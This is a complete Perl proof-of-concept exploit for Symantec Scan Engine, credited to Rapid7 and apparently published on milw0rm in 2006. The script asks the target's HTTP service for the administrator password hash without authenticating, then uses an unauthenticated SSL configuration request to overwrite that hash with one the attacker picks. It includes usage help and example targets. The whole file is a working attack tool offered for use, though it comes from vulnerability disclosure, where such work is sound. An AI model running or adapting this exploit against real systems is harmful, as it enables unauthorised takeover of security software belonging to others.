#!/usr/bin/perl -w
#
# Remotely change the administrator password (or password hash) of
# Symantec Scan Engine.
#
# Author: Marc Bevand of Rapid7 <marc_bevand(at)rapid7.com>
# Copyright 2006 Rapid7, LLC. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
#   1. Redistributions of source code must retain the above copyright
#   notice, this list of conditions and the following disclaimer.
#
#   2. Redistributions in binary form must reproduce the above
#   copyright notice, this list of conditions and the following
#   disclaimer in the documentation and/or other materials provided
#   with the distribution.
#
#   THIS SOFTWARE IS PROVIDED BY RAPID7, LLC ``AS IS'' AND ANY EXPRESS
#   OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#   WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
#   ARE DISCLAIMED. IN NO EVENT SHALL RAPID7, LLC BE LIABLE FOR ANY
#   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
#   DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
#   GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
#   INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
#   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
#   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
#   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

use strict;
use Getopt::Long;
use LWP::UserAgent;
use Digest::MD5 qw/md5_hex/;
use Net::SSLeay::Handle qw/shutdown/;

#
# Init LWP::UserAgent (the user agent string is the one currently used
# by the Scan Engine java applet).
#
sub init {
  my $ua;
  $ua = LWP::UserAgent->new(keep_alive => 0);
  $ua->agent("Mozilla/4.0 (Windows 2000 5.0) Java/1.4.2_08");
  return $ua;
}

#
# Example of service string to be parsed:
# 10.68.4.4
# 10.68.4.4/8004/8005
# hostname
# hostname/9004/9005
#
sub parse_service {
  my ($service) = @_;

  if ($service =~ m{^([^/]*)/(\d+)/(\d+)$}) {
     return $1, $2, $3;
  } elsif ($service =~ m{^([^/]*)$}) {
     return $1, 8004, 8005;
  } else {
     die "cannot parse service: $service";
  }
}

#
# Sends a request to obtain the password hash. Note: the RSA key
# (modulus and public exponent) has been randomly chosen.
#
sub data_to_send {
  my $r1 =
  '<request><key mod="784607708866372110095636553206565253692059085'.
  '0882661452379500719255245078226751123858547991180612629396444366'.
  '109364669329014831409765373165312900564995261" pub="754297542068'.
  '3822223796790522532950961415568940207500046396606172395479254814'.
  '3383744922039888710333203519260280729415961892539564611703079983'.
  '74406014351745">I need the key</key></request>'
  ;

  return $r1;
}

#
# Example of response to be parsed:
# <request>
#   <message xmlns:xs="http://www.w3.org/2001/XMLSchema"
#     xmlns:java="class:com.symantec.common.SimpleRSA"
#     value="01234567890123456789012345678901234567890123456789012345\
# 6789"/>
#   <password xmlns:xs="http://www.w3.org/2001/XMLSchema"
#     xmlns:java="class:com.symantec.common.SimpleRSA"
#     pass="86B7A1FE120C0279971559B6BAC8C5713EF580BAFD20168D622B7E170\
# D248642"/>
# </request>
#
sub parse_resp {
  my ($res) = @_;

  if ($res =~ /pass="([[:xdigit:]]{64})"/) {
     return $1;
  } else {
     die "cannot parse response: $res";
  }
}

#
# Return a password hash.
#
sub hash_passwd {
  my ($pwd) = @_;
  my $salt = sprintf "%08X%08X%08X%08X", rand(0xffffffff),
  rand(0xffffffff), rand(0xffffffff), rand(0xffffffff);

  return uc(md5_hex("$pwd$salt")) . $salt;
}

sub send_request {
  my ($socket, $req) = @_;

  $req = pack("n", length($req)).$req;
  print $socket $req;
}

#
# Set the administrator password hash.
#
sub set_hash {
  my ($hostname, $port_ssl, $hash) = @_;
  my $socket;
  my $reply;

  tie(*SSL, "Net::SSLeay::Handle", $hostname, $port_ssl)
     or die "ssl tie: $!";
  $socket = \*SSL;
  send_request($socket,
     '<request command="submit" parms="apply" type="saveapply">'.
     '<![CDATA[<?xml version="1.0" encoding="UTF-8"?>'.
     '<guichanges><configuration>'.
     '<changes xpath="//admin/password/@value" value="'.$hash.'"/>'.
     '</configuration></guichanges>'.
     ']]></request>');
  send_request($socket,
     'UTFWritesDone');
  shutdown($socket, 1) or die "ssl shutdown: $!";
  $reply = substr(<$socket>, 2);
  $reply = substr($reply, 0, index($reply, 'UTFWritesDone') - 2);
  if ($reply !~ m{<message status='apply_success'>Apply!</message>})
  {
     die "command failed: $reply";
  }
  close($socket) or die "ssl close: $!";
}

sub doit {
  my ($service, $pwd, $hash) = @_;
  my $hostname;
  my $port_http;
  my $port_ssl;
  my $ua;
  my $url;
  my $req;
  my $res;
  my $old_hash;

  ($hostname, $port_http, $port_ssl) = parse_service($service);
  $ua = init();
  $url = "http://$hostname:$port_http/xml.xml";
  $req = HTTP::Request->new(POST => $url);
  $req->content_type('application/x-www-form-urlencoded');
  $req->content(data_to_send());
  $res = $ua->request($req);
  $res->is_success or die "got ".$res->status_line." for $url\n";
  ($old_hash) = parse_resp($res->content);
  print "Old hash: $old_hash\n";
  if ($hash) {
     set_hash($hostname, $port_ssl, $hash);
     print "New hash: $hash\n";
  } else {
     $hash = hash_passwd($pwd);
     set_hash($hostname, $port_ssl, $hash);
     print "New hash: $hash\n";
     print "Password successfully set to: '$pwd'\n";
  }
}

sub error {
  print STDERR "Try `$0 --help' for more information.\n";
}

sub usage {
  print "Usage:\n".
  "  $0 [OPTIONS] <hostname>\n".
  "  $0 [OPTIONS] <hostname>/<http_port>/<ssl_port>\n".
  "Options:\n".
  "  --help                Display this help\n".
  "  --pwd <passwd>        Set the password (default: test)\n".
  "  --hash <passwd_hash>  Set the password hash instead of a parti".
  "cular password\n".
  "Examples:\n".
  "  $0 10.68.4.4\n".
  "  $0 --pwd foobar 10.68.4.4/8004/8005\n".
  "";
}

sub main {
  my $help;
  my $pwd = "test";
  my $hash;
  my $service;

  if (!GetOptions(
        "help" => \$help,
        "pwd=s" => \$pwd,
        "hash=s" => \$hash,
     )) {
     error(); exit(1);
  }
  if ($help) {
     usage(); exit(0);
  }
  if (!scalar(@ARGV)) {
     print STDERR "No service specified.\n";
     error(); exit(1);
  } elsif (1 == scalar(@ARGV)) {
     $service = $ARGV[0];
  } else {
     print STDERR "Extra argument: $ARGV[1]\n";
     error(); exit(1);
  }
  doit($service, $pwd, $hash);
}

main();

#
# END proof of concept
#

# milw0rm.com [2006-04-21]
